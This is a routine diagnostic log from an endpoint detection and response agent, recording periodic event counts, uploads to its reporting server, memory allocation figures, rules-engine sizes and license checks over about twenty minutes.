2026-03-04 20:04:09 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 20:00:01, To:, 2026-03-04 20:04:09, Duration (s):, 248, Events Per Second:, 16.478, Events:, 4098, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3374, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 723, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 455968
2026-03-04 20:04:12 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 2s292ms.
2026-03-04 20:04:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30739 KB; ModuleMetadata: 2029 KB; ProcessInfo: 1556 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 522 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 516 KB; ModuleInfoCache: 323 KB; CacheEntry: 299 KB; rules::ProcessConditionsCache: 172 KB; cloudutils::CloudData: 140 KB; BaseEvent: 138 KB; BatchSerializer::EventsQueueTag: 36 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ProcessInfoCommandLineTag: 8 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 37070 KB;
2026-03-04 20:05:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30739 KB; ModuleMetadata: 2029 KB; ProcessInfo: 1919 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 519 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 517 KB; ModuleInfoCache: 323 KB; BaseEvent: 316 KB; CacheEntry: 299 KB; rules::ProcessConditionsCache: 163 KB; cloudutils::CloudData: 140 KB; BatchSerializer::EventsQueueTag: 83 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 37648 KB;
2026-03-04 20:06:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30739 KB; ProcessInfo: 2301 KB; ModuleMetadata: 2029 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 550 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 517 KB; BaseEvent: 500 KB; ModuleInfoCache: 323 KB; CacheEntry: 299 KB; rules::ProcessConditionsCache: 165 KB; cloudutils::CloudData: 140 KB; BatchSerializer::EventsQueueTag: 133 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 8 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 38294 KB;
2026-03-04 20:07:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30739 KB; ProcessInfo: 2662 KB; ModuleMetadata: 2029 KB; BaseEvent: 676 KB; TcpIpConnectionsManager: 552 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 505 KB; ModuleInfoCache: 323 KB; CacheEntry: 299 KB; BatchSerializer::EventsQueueTag: 178 KB; rules::ProcessConditionsCache: 144 KB; cloudutils::CloudData: 140 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 8 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 38846 KB;
2026-03-04 20:08:17 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 20:04:09, To:, 2026-03-04 20:08:17, Duration (s):, 248, Events Per Second:, 16.588, Events:, 4117, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3403, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 713, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 457084
2026-03-04 20:08:18 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s359ms.
2026-03-04 20:08:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 20:08:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 198, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 20:08:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 20:08:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 20:08:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30739 KB; ModuleMetadata: 2029 KB; ProcessInfo: 1545 KB; TcpIpConnectionsManager: 555 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 506 KB; ModuleInfoCache: 323 KB; CacheEntry: 299 KB; cloudutils::CloudData: 140 KB; rules::ProcessConditionsCache: 127 KB; BaseEvent: 114 KB; BatchSerializer::EventsQueueTag: 29 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ProcessInfoCommandLineTag: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 37006 KB;
2026-03-04 20:09:00 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 20:09:00 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23519
2026-03-04 20:09:00 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 20:09:00 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 20:09:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30739 KB; ModuleMetadata: 2031 KB; ProcessInfo: 1950 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 522 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 507 KB; ModuleInfoCache: 323 KB; BaseEvent: 301 KB; CacheEntry: 299 KB; cloudutils::CloudData: 140 KB; rules::ProcessConditionsCache: 123 KB; BatchSerializer::EventsQueueTag: 81 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 16 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 37623 KB;
2026-03-04 20:10:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30739 KB; ProcessInfo: 2361 KB; ModuleMetadata: 2031 KB; TcpIpConnectionsManager: 572 KB; rules::AncestorEvaluations: 552 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 513 KB; BaseEvent: 487 KB; ModuleInfoCache: 323 KB; CacheEntry: 299 KB; rules::ProcessConditionsCache: 201 KB; cloudutils::CloudData: 140 KB; BatchSerializer::EventsQueueTag: 132 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 16 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 16 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 38411 KB;
2026-03-04 20:11:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30739 KB; ProcessInfo: 2737 KB; ModuleMetadata: 2031 KB; BaseEvent: 673 KB; TcpIpConnectionsManager: 586 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 509 KB; ModuleInfoCache: 323 KB; CacheEntry: 299 KB; rules::ProcessConditionsCache: 199 KB; BatchSerializer::EventsQueueTag: 181 KB; cloudutils::CloudData: 140 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 16 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 39025 KB;
2026-03-04 20:12:13 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 20:08:16, To:, 2026-03-04 20:12:13, Duration (s):, 237, Events Per Second:, 17.490, Events:, 4147, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3462, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 1, Livegrid:, 1, OriginUrl:, 0, Alarms:, 682, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 461075
2026-03-04 20:12:14 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s399ms.
2026-03-04 20:12:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30739 KB; ModuleMetadata: 2031 KB; ProcessInfo: 1615 KB; TcpIpConnectionsManager: 586 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 533 KB; ModuleInfoCache: 323 KB; CacheEntry: 299 KB; rules::ProcessConditionsCache: 167 KB; cloudutils::CloudData: 140 KB; BaseEvent: 124 KB; BatchSerializer::EventsQueueTag: 32 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 37190 KB;
2026-03-04 20:13:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 20:13:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 198, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 20:13:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 20:13:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 20:13:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30739 KB; ModuleMetadata: 2031 KB; ProcessInfo: 1982 KB; TcpIpConnectionsManager: 575 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 533 KB; ModuleInfoCache: 323 KB; BaseEvent: 303 KB; CacheEntry: 299 KB; rules::ProcessConditionsCache: 173 KB; cloudutils::CloudData: 140 KB; BatchSerializer::EventsQueueTag: 81 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 37778 KB;
2026-03-04 20:14:00 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 20:14:00 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23519
2026-03-04 20:14:00 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 20:14:00 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 20:14:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30739 KB; ProcessInfo: 2391 KB; ModuleMetadata: 2031 KB; TcpIpConnectionsManager: 590 KB; rules::AncestorEvaluations: 552 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 535 KB; BaseEvent: 492 KB; ModuleInfoCache: 323 KB; CacheEntry: 299 KB; rules::ProcessConditionsCache: 243 KB; cloudutils::CloudData: 140 KB; BatchSerializer::EventsQueueTag: 132 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 17 KB; ProcessInfoCommandLineTag: 10 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 38523 KB;
2026-03-04 20:15:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30739 KB; ProcessInfo: 2756 KB; ModuleMetadata: 2031 KB; BaseEvent: 676 KB; TcpIpConnectionsManager: 583 KB; rules::AncestorEvaluations: 552 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 513 KB; ModuleInfoCache: 323 KB; CacheEntry: 299 KB; rules::ProcessConditionsCache: 215 KB; BatchSerializer::EventsQueueTag: 180 KB; cloudutils::CloudData: 140 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 39057 KB;
2026-03-04 20:16:13 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 20:12:12, To:, 2026-03-04 20:16:13, Duration (s):, 241, Events Per Second:, 16.983, Events:, 4099, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3402, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 696, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 455639
2026-03-04 20:16:15 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 2s034ms.
2026-03-04 20:16:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30739 KB; ModuleMetadata: 2031 KB; ProcessInfo: 1609 KB; TcpIpConnectionsManager: 567 KB; rules::AncestorEvaluations: 552 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 516 KB; ModuleInfoCache: 323 KB; CacheEntry: 299 KB; rules::ProcessConditionsCache: 189 KB; cloudutils::CloudData: 140 KB; BaseEvent: 122 KB; BatchSerializer::EventsQueueTag: 32 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 37166 KB;
2026-03-04 20:17:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30739 KB; ProcessInfo: 2305 KB; ModuleMetadata: 2031 KB; TcpIpConnectionsManager: 704 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 502 KB; BaseEvent: 458 KB; ModuleInfoCache: 323 KB; CacheEntry: 299 KB; rules::ProcessConditionsCache: 145 KB; cloudutils::CloudData: 140 KB; BatchSerializer::EventsQueueTag: 121 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 38369 KB;
2026-03-04 20:18:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 20:18:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 198, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 20:18:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 20:18:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 20:18:45 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 20:16:12, To:, 2026-03-04 20:18:45, Duration (s):, 153, Events Per Second:, 26.759, Events:, 4115, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3402, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 712, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 456257
2026-03-04 20:18:47 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s279ms.
2026-03-04 20:18:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30739 KB; ProcessInfo: 2038 KB; ModuleMetadata: 2031 KB; TcpIpConnectionsManager: 827 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 505 KB; ModuleInfoCache: 323 KB; CacheEntry: 299 KB; cloudutils::CloudData: 140 KB; rules::ProcessConditionsCache: 112 KB; BaseEvent: 70 KB; rules::CachedConditionEvaluationCtx: 22 KB; BatchSerializer::EventsQueueTag: 18 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 37705 KB;
2026-03-04 20:19:00 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 20:19:00 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23519
2026-03-04 20:19:00 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 20:19:00 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 20:19:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30739 KB; ProcessInfo: 2662 KB; ModuleMetadata: 2031 KB; TcpIpConnectionsManager: 939 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 504 KB; rules::ProcessConditionsCache: 386 KB; BaseEvent: 379 KB; ModuleInfoCache: 323 KB; CacheEntry: 299 KB; cloudutils::CloudData: 140 KB; BatchSerializer::EventsQueueTag: 98 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ProcessInfoCommandLineTag: 8 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 39101 KB;
2026-03-04 20:20:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30739 KB; ProcessInfo: 3361 KB; ModuleMetadata: 2031 KB; TcpIpConnectionsManager: 934 KB; BaseEvent: 722 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 507 KB; rules::ProcessConditionsCache: 331 KB; ModuleInfoCache: 323 KB; CacheEntry: 299 KB; BatchSerializer::EventsQueueTag: 188 KB; cloudutils::CloudData: 140 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 40177 KB;
2026-03-04 20:20:58 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 20:18:45, To:, 2026-03-04 20:20:58, Duration (s):, 133, Events Per Second:, 30.776, Events:, 4122, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3397, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 724, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 458208
2026-03-04 20:21:01 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 2s167ms.
2026-03-04 20:21:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30739 KB; ProcessInfo: 2847 KB; ModuleMetadata: 2031 KB; TcpIpConnectionsManager: 908 KB; rules::AncestorEvaluations: 552 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 506 KB; ModuleInfoCache: 323 KB; CacheEntry: 299 KB; BaseEvent: 298 KB; rules::ProcessConditionsCache: 233 KB; cloudutils::CloudData: 140 KB; BatchSerializer::EventsQueueTag: 78 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 39003 KB;
2026-03-04 20:22:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30739 KB; ProcessInfo: 3232 KB; ModuleMetadata: 2031 KB; TcpIpConnectionsManager: 823 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 506 KB; BaseEvent: 481 KB; ModuleInfoCache: 323 KB; CacheEntry: 299 KB; rules::ProcessConditionsCache: 262 KB; cloudutils::CloudData: 140 KB; BatchSerializer::EventsQueueTag: 128 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 7 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 39562 KB;
2026-03-04 20:23:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 20:23:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 198, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 20:23:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 20:23:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 20:23:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30739 KB; ProcessInfo: 3619 KB; ModuleMetadata: 2031 KB; TcpIpConnectionsManager: 708 KB; BaseEvent: 663 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 510 KB; ModuleInfoCache: 323 KB; CacheEntry: 299 KB; rules::ProcessConditionsCache: 290 KB; BatchSerializer::EventsQueueTag: 176 KB; cloudutils::CloudData: 140 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 12 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 40101 KB;
2026-03-04 20:24:01 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 20:24:01 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23519
2026-03-04 20:24:01 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 20:24:01 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 20:24:17 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 20:20:55, To:, 2026-03-04 20:24:17, Duration (s):, 202, Events Per Second:, 20.312, Events:, 4122, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3426, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 695, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 457211
2026-03-04 20:24:19 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s234ms.
2026-03-04 20:24:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30739 KB; ModuleMetadata: 2031 KB; ProcessInfo: 1724 KB; TcpIpConnectionsManager: 578 KB; rules::AncestorEvaluations: 552 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 512 KB; ModuleInfoCache: 323 KB; CacheEntry: 299 KB; rules::ProcessConditionsCache: 225 KB; cloudutils::CloudData: 140 KB; BaseEvent: 110 KB; BatchSerializer::EventsQueueTag: 28 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 37311 KB;
2026-03-04 20:25:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30739 KB; ProcessInfo: 2090 KB; ModuleMetadata: 2031 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 547 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 513 KB; ModuleInfoCache: 323 KB; CacheEntry: 299 KB; BaseEvent: 293 KB; rules::ProcessConditionsCache: 223 KB; cloudutils::CloudData: 140 KB; BatchSerializer::EventsQueueTag: 76 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 37873 KB;
2026-03-04 20:26:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30739 KB; ProcessInfo: 2507 KB; ModuleMetadata: 2031 KB; TcpIpConnectionsManager: 594 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 516 KB; BaseEvent: 481 KB; rules::ProcessConditionsCache: 337 KB; ModuleInfoCache: 323 KB; CacheEntry: 299 KB; cloudutils::CloudData: 140 KB; BatchSerializer::EventsQueueTag: 127 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 21 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 38705 KB;
